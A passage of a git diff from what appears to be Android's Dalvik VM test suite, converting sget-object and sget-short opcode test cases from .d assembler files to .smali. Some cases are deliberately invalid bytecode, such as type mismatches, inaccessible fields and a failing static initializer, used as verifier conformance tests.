+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_3.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_object/d/T_sget_object_3;
+.super Ljava/lang/Object;
+.source "T_sget_object_3.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sget-object p1, Ldot/junit/opcodes/sget_object/d/T_sget_object_3;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_4.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_4.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_4.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_4.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_4.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_4.smali
new file mode 100644
index 0000000..34a0c03
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_4.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_object/d/T_sget_object_4;
+.super Ljava/lang/Object;
+.source "T_sget_object_4.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Object;
+    .registers 3
+
+    sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_4;->i1:Ljava/lang/Object;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_5.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_5.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_5.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_5.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_5.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_5.smali
new file mode 100644
index 0000000..5b3a76f
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_5.smali
@@ -0,0 +1,45 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_object/d/T_sget_object_5;
+.super Ljava/lang/Object;
+.source "T_sget_object_5.java"
+
+
+# instance fields
+.field public i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 4
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    const v2, 0x0
+
+    iput-object v2, p0, Ldot/junit/opcodes/sget_object/d/T_sget_object_5;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Object;
+    .registers 3
+
+    sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_5;->i1:Ljava/lang/Object;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_6.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_6.d
deleted file mode 100644
index 03483da..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_6.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_6.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_6
-.super java/lang/Object
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       sget-object v1, dot.junit.opcodes.sget_object.TestStubs.TestStubField Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_6.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_6.smali
new file mode 100644
index 0000000..ad58f96
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_6.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_6.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_6;
+.super  Ljava/lang/Object;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       sget-object v1, Ldot/junit/opcodes/sget_object/TestStubs;->TestStubField:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_7.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_7.d
deleted file mode 100644
index eb172eb..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_7.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_7.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_7
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       sget-object v1, dot.junit.opcodes.sget_object.d.T_sget_object_7no_class.i1 Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_7.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_7.smali
new file mode 100644
index 0000000..ee0bffd
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_7.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_7.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_7;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_7no_class;->i1:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_8.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_8.d
deleted file mode 100644
index 841a454..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_8.d
+++ /dev/null
@@ -1,33 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_object_8.java
-.class public dot.junit.opcodes.sget_object.d.T_sget_object_8
-.super java/lang/Object
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()Ljava/lang/Object;
-.limit regs 3
-
-       sget-object v1, dot.junit.opcodes.sget_object.d.T_sget_object_8.i1N Ljava/lang/Object;
-       return-object v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_8.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_8.smali
new file mode 100644
index 0000000..685cdba
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_8.smali
@@ -0,0 +1,33 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_object_8.java"
+.class  public Ldot/junit/opcodes/sget_object/d/T_sget_object_8;
+.super  Ljava/lang/Object;
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()Ljava/lang/Object;
+.registers 3
+
+       sget-object v1, Ldot/junit/opcodes/sget_object/d/T_sget_object_8;->i1N:Ljava/lang/Object;
+       return-object v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.smalis/StubInitError.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.smalis/StubInitError.smali
new file mode 100644
index 0000000..0bf0b75
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.smalis/StubInitError.smali
@@ -0,0 +1,39 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_object/d/StubInitError;
+.super Ljava/lang/Object;
+.source "StubInitError.java"
+
+
+# static fields
+.field public static value:Ljava/lang/Object;
+
+
+# direct methods
+.method static constructor <clinit>()V
+    .registers 2
+
+    const/4 v0, 0x0
+
+    const/4 v1, 0x1
+
+    div-int/2addr v1, v0
+
+    const v1, 0x0
+
+    sput-object v1, Ldot/junit/opcodes/sget_object/d/StubInitError;->value:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.smalis/T_sget_object_9.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.smalis/T_sget_object_9.smali
new file mode 100644
index 0000000..c2b44f6
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_object/d/T_sget_object_9.smalis/T_sget_object_9.smali
@@ -0,0 +1,37 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_object/d/T_sget_object_9;
+.super Ljava/lang/Object;
+.source "T_sget_object_9.java"
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()Ljava/lang/Object;
+    .registers 3
+
+    sget-object v1, Ldot/junit/opcodes/sget_object/d/StubInitError;->value:Ljava/lang/Object;
+
+    return-object v1
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_1.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_1.d
deleted file mode 100644
index 777253e..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_1.d
+++ /dev/null
@@ -1,51 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_1.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_1
-.super java/lang/Object
-
-.field public static i1 S
-.field protected static p1 S
-.field private static pvt1 S
-
-.method static <clinit>()V
-.limit regs 1
-       const v0, 32000
-       sput-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_1.i1 S
-
-       const v0, 32000
-       sput-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_1.p1 S
-
-       const v0, 32000
-       sput-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_1.pvt1 S
-
-       return-void
-.end method
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       sget-short v1, dot.junit.opcodes.sget_short.d.T_sget_short_1.i1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_1.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_1.smali
new file mode 100644
index 0000000..190e65d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_1.smali
@@ -0,0 +1,51 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_1.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_1;
+.super  Ljava/lang/Object;
+
+.field public static i1:S
+.field protected static p1:S
+.field private static pvt1:S
+
+.method static constructor <clinit>()V
+.registers 1
+       const v0, 32000
+       sput-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->i1:S
+
+       const v0, 32000
+       sput-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->p1:S
+
+       const v0, 32000
+       sput-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->pvt1:S
+
+       return-void
+.end method
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->i1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_11.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_11.d
deleted file mode 100644
index d0f87a4..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_11.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_11.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_11
-.super dot/junit/opcodes/sget_short/d/T_sget_short_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_short/d/T_sget_short_1/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       sget-short v1, dot.junit.opcodes.sget_short.d.T_sget_short_1.p1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_11.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_11.smali
new file mode 100644
index 0000000..723ca6c
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_11.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_11.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_11;
+.super  Ldot/junit/opcodes/sget_short/d/T_sget_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->p1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_12.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_12.d
deleted file mode 100644
index 7a0a307..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_12.d
+++ /dev/null
@@ -1,34 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_12.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_12
-.super dot/junit/opcodes/sget_short/d/T_sget_short_1
-
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, dot/junit/opcodes/sget_short/d/T_sget_short_1/<init>()V
-       return-void
-.end method
-
-.method public run()S
-.limit regs 3
-
-       sget-short v1, dot.junit.opcodes.sget_short.d.T_sget_short_1.pvt1 S
-       return v1
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_12.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_12.smali
new file mode 100644
index 0000000..f508dab
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_12.smali
@@ -0,0 +1,34 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_12.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_12;
+.super  Ldot/junit/opcodes/sget_short/d/T_sget_short_1;
+
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;-><init>()V
+       return-void
+.end method
+
+.method public run()S
+.registers 3
+
+       sget-short v1, Ldot/junit/opcodes/sget_short/d/T_sget_short_1;->pvt1:S
+       return v1
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_13.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_13.d
deleted file mode 100644
index b37df82..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_13.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_13.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_13
-.super java/lang/Object
-
-.field public static i1 J
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
-       return-void
-.end method
-
-.method public run()V
-.limit regs 3
-
-       sget-short v0, dot.junit.opcodes.sget_short.d.T_sget_short_13.i1 S
-       return-void
-.end method
-
-
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_13.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_13.smali
new file mode 100644
index 0000000..69b8d0d
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_13.smali
@@ -0,0 +1,35 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.source "T_sget_short_13.java"
+.class  public Ldot/junit/opcodes/sget_short/d/T_sget_short_13;
+.super  Ljava/lang/Object;
+
+.field public static i1:J
+
+.method public constructor <init>()V
+.registers 1
+
+       invoke-direct {v0}, Ljava/lang/Object;-><init>()V
+       return-void
+.end method
+
+.method public run()V
+.registers 3
+
+       sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_13;->i1:S
+       return-void
+.end method
+
+
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_14.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_14.d.done
similarity index 100%
rename from tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_14.d
rename to tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_14.d.done
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_14.smali b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_14.smali
new file mode 100644
index 0000000..1a5a5d3
--- /dev/null
+++ b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_14.smali
@@ -0,0 +1,41 @@
+# Copyright (C) 2008 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+.class public Ldot/junit/opcodes/sget_short/d/T_sget_short_14;
+.super Ljava/lang/Object;
+.source "T_sget_short_14.java"
+
+
+# static fields
+.field public static i1:Ljava/lang/Object;
+
+
+# direct methods
+.method public constructor <init>()V
+    .registers 1
+
+    invoke-direct {p0}, Ljava/lang/Object;-><init>()V
+
+    return-void
+.end method
+
+
+# virtual methods
+.method public run()V
+    .registers 3
+
+    sget-short v0, Ldot/junit/opcodes/sget_short/d/T_sget_short_14;->i1:Ljava/lang/Object;
+
+    return-void
+.end method
diff --git a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_15.d b/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_15.d
deleted file mode 100644
index d8751e5..0000000
--- a/tools/vm-tests-tf/src/dot/junit/opcodes/sget_short/d/T_sget_short_15.d
+++ /dev/null
@@ -1,35 +0,0 @@
-; Copyright (C) 2008 The Android Open Source Project
-;
-; Licensed under the Apache License, Version 2.0 (the "License");
-; you may not use this file except in compliance with the License.
-; You may obtain a copy of the License at
-;
-;      http://www.apache.org/licenses/LICENSE-2.0
-;
-; Unless required by applicable law or agreed to in writing, software
-; distributed under the License is distributed on an "AS IS" BASIS,
-; WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-; See the License for the specific language governing permissions and
-; limitations under the License.
-
-.source T_sget_short_15.java
-.class public dot.junit.opcodes.sget_short.d.T_sget_short_15
-.super java/lang/Object
-
-.field public static i1 C
-
-.method public <init>()V
-.limit regs 1
-
-       invoke-direct {v0}, java/lang/Object/<init>()V
